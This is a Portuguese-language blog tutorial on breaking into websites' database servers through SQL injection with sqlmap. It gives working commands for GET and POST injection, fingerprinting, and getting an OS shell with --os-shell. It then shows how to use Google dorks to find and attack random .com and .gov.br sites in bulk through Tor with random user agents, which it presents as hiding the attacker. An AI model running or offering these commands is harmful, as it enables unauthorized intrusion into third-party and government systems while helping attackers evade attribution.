Invasão de Servidores de Banco de Dados – Injeção de SQL com sqlmap

Como prometi no post “ALGUMAS MANEIRAS DE INVADIR UM WEBSITE”, chegou a hora SQLinjection-680x680de abordar uma faceta operacional da técnica de invasão de websites explorando vulnerabilidades SQLi. Para melhor entendimento, recomendo a leitura do citado post.

Muitos desenvolvedores web não sabem como as consultas SQL podem ser manipuladas e presumem que uma consulta de SQL é um comando confiável. Quero dizer que, consultas SQL podem passar despercebidas por controles de acesso, desviando da autenticação padrão e de checagens de autorização, e algumas vezes consultas SQL podem permitir acesso à comandos em nível do sistema operacional do servidor.

Injeção direta de comandos SQL é uma técnica onde um atacante cria ou altera comandos SQL existentes para expor dados escondidos, ou sobrescrever dados valiosos, ou ainda executar comandos de sistema perigosos no servidor. Isso é possível se a aplicação combinar a entrada do usuário com parâmetros estáticos para montar uma consulta SQL. Os exemplos a seguir são baseados em histórias verdadeiras, infelizmente.

Injeção SLQ

Apenas escaneando ou futucando, é possível identificar algumas vulnerabilidades de injeções (SQLi) comprometendo o banco de dados ou o próprio sistema alvo.

Duas ferramentas de código aberto que funcionam, na maioria das vezes, são sqlmap e Sqlninja. O sqlmap é a minha favorita, uso para encontrar injeções SQL, manipular consultas de banco de dados, e fazer dumping de bancos de dados; e por possuir funcionalidades adicionais que permitem um shell interativo através de injeção e pode até gerar um Meterpreter ou uma sessão VNC. Por enquanto, vou mostrar como usar a versão de linha de comando dessa ferramenta, que já vem instalada no Kali Linux.

sqlmap

O sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL e a invasão de servidores de banco de dados. Contém um poderoso mecanismo de detecção, muitos recursos e uma grande variedade de opções que permitem obter impressões digitais de banco de dados, busca de dados, acesso a arquivos subjacentes e execução de comandos no sistema operacional através de conexões out-of-band, – quando a entrada de dados de um usuário é interpretada como um comando SQL em vez de dados normais pelo banco de dados backend.

Para uma boa exploração dos recursos recomendo a consulta ao wiki https://github.com/sqlmapproject/sqlmap/wiki/Features.Install_Pyton

O sqlmap funciona com o Python versão 2.6.x e 2.7.x em qualquer plataforma.

Para download do sqlmap a minha preferência é clonar o repositório Git:

# git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Install_sqlmap

O manual do usuário está em https://github.com/sqlmapproject/sqlmap/wiki

Injeção SQL manual

Nos exemplos a seguir, eu mostrarei um parâmetro GET e um exemplo de parâmetro POST com o SQLmap, uma vez que eles são o tipos de SQLi mais usados. A razão pela qual eu mostrarei ambos os ataques do método HTTP é porque se você não tem a solicitação configurada corretamente, é provável que o ataque falhe.

Aqui está um print da ajuda do sqlmap. Há muitas opções que podem ser usadas para ataques SQLi:

SQLMap Help Information

Exemplo de parâmetro GET

Nos exemplos a seguir, vou assumir que o parâmetro GET é onde a vulnerabilidade SQLi está localizada na URL. Vou testar todos os parâmetros e garantir que a vulnerabilidade SQLi realmente existe. Há um bom número de falsos positivos que eu encontrei com a ferramenta scanner, então a validação é realmente o único método para garantir os resultados. É importante lembrar de não especificar um valor para testar, o SQLmap testará todos os parâmetros por padrão.

– Aqui está um exemplo de comando para identificar uma vulnerabilidade de injeção SQL usando o

opção de banner:

# cd sqlmap-dev
# python ./sqlmap.py -u "http://seja.la.o.que.for.php?page=userinfo.php&username=asdf&password=sdf&user-info-php-submitbutton=View+Account+Details" –b

SQLMap Results.jpg

Exemplo de parâmetro POST

O uso do POST é similar ao GET, exceto como o parâmetro vulnerável é passado. Em vez de estar na URL, os parâmetros POST são passados na seção de dados. Isto é normalmente visto com nome de usuário e senha, uma vez que os servidores da Web normalmente logam os parâmetros GET e não desejo que um log em senhas. Além disso, existem limitações de “tamanho” com métodos GET e, portanto, muitos dados serão passados, através de parâmetros POST, para aplicações maiores.
Determinando se um injeção de SQL é válido (o resultado será o banner se válido):

 # python ./sqlmap.py -u "http://site.com/info.php " --data= "user=test&pass=test" -b

Buscando o nome de usuário do banco de dados:

# python ./sqlmap.py -u "http://site.com/info.php?user=test&pass=test" --current-user

Interactive Shell

# python ./sqlmap.py -u "http://site.com/info.php?user=test&pass=test" --os-shell
Algumas sugestões e truques:

– Talvez seja necessário definir o tipo de banco de dados a ser atacado. Se você acha que uma injeção é possível, mas o sqlmap não está encontrando o problema, tente definir a flag –dbms=[tipo de banco de dados].

– Quando é preciso testar uma pesquisa de injeção de SQL autenticada, faço o login no site por meio de um Navegador e pego o Cookie (nesse caso tenho que usar o Burp Suite). Então, defino o cookie usando a opção –cookie=[COOKIE].

– Emperrado? Experimento o comando: sqlmap –wizard.

Wizard

Google Dork no SQLMap

Para finalizar, uma opção do sqlmap viciante: -g GOOGLEDORK.

Se você não sabe o que é Google Dork, leia este post.

Um exemplo genérico

# python ./sqlmap.py -g inurl:.php?id= –random-agent -f batch answer=extending=N,follow=N,keep=N,exploit=n

Dork_Generico-batch.jpg

Outros exemplos:

# python ./sqlmap.py -g inurl:.com/.php?id= –random-agent –tor-type=SOCKS5

Dotcom_tor.jpg

# python ./sqlmap.py -g inurl:.gov.br/.php?id= –random-agent –tor-type=SOCKS5

Dotgov_tor

Não tem o tor no seu Linux ? Simples, abra outra linha de terminal e digite:

$ apt install tor

Espere carregar/instalar/finalizar tudo e pronto, pode voltar ao sqlmap.

EXPLICAÇÃO DOS COMANDOS

Os comandos do –random-agent e –tor-type=SOCKS5 são para sua proteção pois com esse comando o SQLMap ira mudar o seu User Agent e fará o scan pela rede TOR.

-g “sua dork”  O comando para pesquisar a dork.

–random-agent utiliza agents aleatórios.

–tor-type=SOCKS5 Utiliza a proteção do Tor para me camuflar.

Eu recomendo passar algum tempo se acostumando a executar comandos SQLi diferentes e tentando diferentes opções. Se o sqlmap falhar, pode ser a configuração, então é melhor usar o Assistente de Configuração (Wizard setup).

Anúncios

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

Conectando a %s